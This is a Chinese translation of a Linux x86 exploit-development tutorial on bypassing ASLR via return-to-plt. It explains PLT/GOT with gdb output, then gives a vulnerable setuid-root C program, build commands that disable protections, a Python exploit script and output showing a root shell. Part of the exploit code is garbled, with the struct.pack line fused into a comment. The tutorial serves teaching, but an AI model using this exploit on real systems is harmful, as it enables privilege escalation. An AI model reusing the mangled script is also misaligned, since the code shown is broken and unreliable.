前提条件:

经典的基于堆栈的缓冲区溢出

虚拟机安装:Ubuntu 12.04(x86)

在以前的帖子中,我们看到了攻击者需要知道下面两样事情

堆栈地址(跳转到shellcode)

libc基地址(成功绕过NX bit)

为了利用漏洞代码。 为了阻止攻击者的行为,安全研究人员提出了一个称为“ASLR”的漏洞利用。

什么是 ASLR?

地址空间布局随机化(ASLR)是随机化的利用缓解技术:

堆栈地址

堆地址

共享库地址

一旦上述地址被随机化,特别是当共享库地址被随机化时,我们采取的绕过NX bit的方法不会生效,因为攻击者需要知道libc基地址。但这种缓解技术并不完全是万无一失的,因此在这篇文章中我们可以看到如何绕过共享库地址随机化!

我们已经知道从前一篇文章的exp.py libc函数地址计算如下:

libc function address = libc base address + function offset

其中

因为随机化被关闭,所以libc基址是常量(0xb7e22000 - 对于我们的“vuln”二进制文件)。

函数偏移也是不变的(从“readelf -s libc.so.6 | grep”获得)

现在当我们打开完全随机化(使用下面的命令)#echo 2 > /proc/sys/kernel/randomize_va_space

libc基地址将被随机化。

注意:只有libc基地址是随机的,特定功能的偏移与其基地址始终保持不变!因此,如果我们可以绕过共享库基地址随机化,即使打开ASLR,也可以成功利用易受攻击的程序(使用三种技术)。

Return-to-plt (这章)

Brute force (第二部分)

GOT overwrite and GOT dereference (第三部分)

什么是return-to-plt?

在这种技术中,而不是返回到libc函数(其地址是随机的)攻击者返回到一个函数的PLT(其地址不是随机的-其地址在执行之前已知)。由于'function@PLT'不是随机的,所以攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”。

什么是PLT,如何通过调用“function@PLT”来调用“函数”?

要了解过程链接表(PLT),先让我简要介绍一下共享库!

与静态库不同,共享库代码段在多个进程之间共享,而其数据段对于每个进程是唯一的。这有助于减少内存和磁盘空间。由于代码段在多个进程之间共享,所以应该只有read和execute权限,因此动态链接器不能重新定位代码段中存在的数据符号或函数地址(因为它没有写权限)。那么动态链接如何在运行时重新定位共享库符号而不修改其代码段?它使用PIC完成!

什么是PIC?

位置无关代码(PIC)是为了解决这个问题而开发的 - 它确保共享库代码段在多个进程之间共享,尽管在加载时执行重定位。PIC通过一级间接寻址实现这一点-共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表。该表是全局符号和函数绝对虚拟地址的占位符。动态链接器作为重定位的一部分来填充此表。因此,只有重定位数据段被修改,代码段保持不变!

动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数,如下所述:

全局偏移表(GOT):

全局偏移表包含每个全局变量的4字节条目,其中4字节条目包含全局变量的地址。当代码段中的指令引用全局变量时,而不是全局变量的绝对虚拟地址,指令指向GOT中条目。当加载共享库时,GOT条目由动态链接器重新定位。因此,PIC使用该表来重新定位具有单个间接级别的全局符号。

过程链接表(PLT): 过程链接表包含每个全局函数的存根代码。代码段中的调用指令不直接调用函数('function'),而是调用存根代码(function @ PLT)。这个存根代码在动态链接器的帮助下解析了函数地址并将其复制到GOT(GOT [n])。这次解析仅在函数('function')的第一次调用期间发生,稍后当代码段中的调用指令调用存根代码(function @PLT)时,而不是调用动态链接器来解析函数地址('function')存根代码直接从GOT(GOT [n])获取功能地址并跳转到它。因此,PIC使用这个表来重新定位具有两级间接的功能地址。

很好,你阅读了关于PIC的内容,并了解了它有助于保持共享库代码段的完整,因此它有助于共享库代码段在许多进程之间真正的共享!但是你有没有想过,为什么当它不共享任何进程时,在可执行文件的代码段需要有一个GOT 条目或PLT存根代码?它的安全保护机制。现在默认情况下,代码段只能被赋予读取和执行权限,没有写入权限(R_X)。这种安全保护机制甚至不允许动态链接器写入代码段,因此它不能重新定位代码段中发现的数据符号或函数地址。因此,为了允许动态链接器重定位,可执行文件也需要GOT 条目和PLT存根代码,就像共享库一样!

实例://eg.c

//$gcc -g -o eg eg.c

#include

int main(int argc, char* argv[]) {

printf("Hello %s\n", argv[1]);

return 0;

}

下面的反汇编显示,我们不会直接调用'printf',而是调用相应的PLT代码'printf@PLT'。(gdb) disassemble main

Dump of assembler code for function main:

0x080483e4 : push %ebp

0x080483e5 : mov %esp,%ebp

0x080483e7 : and $0xfffffff0,%esp

0x080483ea : sub $0x10,%esp

0x080483ed : mov 0xc(%ebp),%eax

0x080483f0 : add $0x4,%eax

0x080483f3 : mov (%eax),%edx

0x080483f5 : mov $0x80484e0,%eax

0x080483fa : mov %edx,0x4(%esp)

0x080483fe : mov %eax,(%esp)

0x08048401 : call 0x8048300

0x08048406 : mov $0x0,%eax

0x0804840b : leave

0x0804840c : ret

End of assembler dump.

(gdb) disassemble 0x8048300

Dump of assembler code for function printf@plt:

0x08048300 : jmp *0x804a000

0x08048306 : push $0x0

0x0804830b : jmp 0x80482f0

End of assembler dump.

(gdb)

在printf第一次调用之前,其相应的GOT条目(0x804a000)指针将返回到PLT代码(0x8048306)。因此,当第一次调用printf函数时,其对应的函数地址将在动态链接器的帮助下得到解决。(gdb) x/1xw 0x804a000

0x804a000 : 0x08048306

(gdb)

现在在printf的调用之后,其相应的GOT条目包含printf函数地址(如下所示):(gdb) x/1xw 0x804a000

0x804a000 : 0xb7e6e850

(gdb)

注1:如果你想知道更多的PLT和GOT,请看这个博客的文章!

注2:在另一篇文章中,我将详细介绍如何在动态链接器的帮助下动态解析libc函数地址。到目前为止,只要记住下面两个语句(printf@PLT的一部分)负责函数地址解析!0x08048306 : push $0x0

0x0804830b : jmp 0x80482f0

现在有了这些知识,我们知道攻击者不需要精确的libc函数地址来调用libc函数,可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。

漏洞代码:#include

#include

/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */

void shell() {

system("/bin/sh");

exit(0);

}

int main(int argc, char* argv[]) {

int i=0;

char buf[256];

strcpy(buf,argv[1]);

printf("%s\n",buf);

return 0;

}

编译命令:#echo 2 > /proc/sys/kernel/randomize_va_space

$gcc -g -fno-stack-protector -o vuln vuln.c

$sudo chown root vuln

$sudo chgrp root vuln

$sudo chmod +s vuln

现在反汇编可执行文件'vuln',我们可以找到‘system@PLT’和 ‘exit@PLT’的地址。(gdb) disassemble shell

Dump of assembler code for function shell:

0x08048474 : push %ebp

0x08048475 : mov %esp,%ebp

0x08048477 : sub $0x18,%esp

0x0804847a : movl $0x80485a0,(%esp)

0x08048481 : call 0x8048380

0x08048486 : movl $0x0,(%esp)

0x0804848d : call 0x80483a0

End of assembler dump.

(gdb)

使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码!

利用代码:#exp.py

#!/usr/bin/env python

import struct

from subprocess import call

system = 0x8048380

exit = 0x80483a0

system_arg = 0x80485b5     #Obtained from hexdump output of executable 'vuln'

#endianess convertion

def conv(num):

return struct.pack("ystem + exit + system_arg

buf = "A" * 272

buf += conv(system)

buf += conv(exit)

buf += conv(system_arg)

print "Calling vulnerable program"

call(["./vuln", buf])

执行上面的exploit程序给我们root shell,如下所示:$ python exp.py

Calling vulnerable program

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA������

# id

uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)

# exit

$

注意:为了获得这个root shell,可执行文件应包含'system@PLT'和'exit@PLT'代码。在第三部分中,我将讨论GOT覆盖和GOT解引用技术,即使在可执行文件中不存在必需的PLT存根代码,并且当ASLR被打开时,也可以帮助攻击者调用libc函数。

linux的地址随机化ASLR,[翻译]Linux (x86) Exploit 开发系列教程之六(绕过ASLR - 第一部分)...相关推荐

  1. Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

    绕过 ASLR – 第三部分 译者:飞龙 原文:Bypassing ASLR – Part III 预备条件: 经典的基于栈的溢出 绕过 ASLR – 第一部分 VM 配置:Ubuntu 12.04 ...

  2. aslr oracle,Linux (x86) Exploit 开发系列教程之八 绕过 ASLR -- 第三部分

    绕过 ASLR – 第三部分 预备条件: VM 配置:Ubuntu 12.04 (x86) 在这篇文章中,让我们看看如何使用 GOT 覆盖和解引用技巧.来绕过共享库地址随机化.我们在第一部分中提到过, ...

  3. Linux (x86) Exploit 开发系列教程之七 绕过 ASLR -- 第二部分

    (1)原理: 使用爆破技巧,来绕过共享库地址随机化.爆破:攻击者选择特定的 Libc 基址,并持续攻击程序直到成功.这个技巧是用于绕过 ASLR 的最简单的技巧. (2)漏洞代码 //vuln.c # ...

  4. SploitFun Linux x86 Exploit 开发系列教程

    SploitFun Linux x86 Exploit 开发系列教程 原文:Linux (x86) Exploit Development Series 在线阅读 PDF格式 EPUB格式 MOBI格 ...

  5. Linux (x86) Exploit 开发系列教程之十二 释放后使用

    释放后使用 译者:飞龙 原文:Use-After-Free 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc malloc VM 配置:Fedora 20(x86) 什么是释放后使用 ...

  6. Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)

    Off-By-One 漏洞(基于堆) 译者:飞龙 原文:Off-By-One Vulnerability (Heap Based) 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc ...

  7. Linux (x86) Exploit 开发系列教程之十 使用 Malloc Maleficarum 的堆溢出

    使用 Malloc Maleficarum 的堆溢出 译者:飞龙 原文:Heap overflow using Malloc Maleficarum 预备条件: 理解 glibc malloc 从 2 ...

  8. Linux (x86) Exploit 开发系列教程之九 使用 unlink 的堆溢出

    使用 unlink 的堆溢出 译者:飞龙 原文:Heap overflow using unlink 预备条件: 理解 glibc malloc 这篇文章中,让我们了解如何使用 unlink 技巧成功 ...

  9. linux 内核地址随机化,GNU/Linux内核的地址随机化

    地址空间布局随机化(ASLR)是一项增加安全性的技术,***者发现漏洞之后开始编写exploit时如果要考虑绕过ASLR这会增加编写exploit的难度,最早是2001年Grsecurity社区(强悍 ...

最新文章

  1. 约瑟夫环问题的两种解法(详解)
  2. linux 锁定重要文件 更改重要命令
  3. 2月书讯 | 193张图表+388段代码,原版长销13年的日系书终于来了
  4. FPGA之道(64)代码中的约束信息(一)保持约束
  5. 不是python中用于开发用户界面的第三方库-Python计算生态习题(50题)
  6. unity 渐变消失_Unity3D实现渐变颜色效果|chu
  7. SQLAlchemy 多态进阶(__mapper_args__ )、多对多标签
  8. WinRAR 6.0 官方版 非常强大好用的压缩包管理器
  9. pythonpy文件打包成exe软件
  10. html5游戏开发实战第三章,我的启蒙--HTML5 第三章 Canvas
  11. DXUT框架剖析(1)
  12. selenium——元素的定位
  13. CIE Radar 2006(ICR2006)开始征文了
  14. Java的历史及发展
  15. php导入json文件_php读取json文件的实例(本地与远程),笔记
  16. c盘瘦身 或者 c盘清理
  17. VS2008 sp1中文版下载地址
  18. 线性最优离散滤波器——维纳滤波器及LCMV MVDR GSC (自适应滤波)
  19. 真是恍然大悟啊!腾讯、网易必问的20道题Android面试题,架构师必备技能
  20. 织梦教程:ms在channel标签中调用typeid无效解决办法

热门文章

  1. springboot项目配置(yml,pom)
  2. 线性代数-01矩阵与行列式
  3. 最近学习数学的一些感受(一家之言,仅供一笑)。
  4. 搜索引擎排名优化与五个技巧详解
  5. Java 基础语法(1)- 注释、标识符、关键字
  6. perl dbd mysql 5.7_perl-DBD-MySQL 无法安装
  7. 开发android电视app
  8. mysql 一 、关系模型——主键——外键——索引
  9. 中国人工智能未来发展前景(AI+时代真正来临)
  10. Python项目实战-Tensorflow2.0实现泰坦尼克生存预测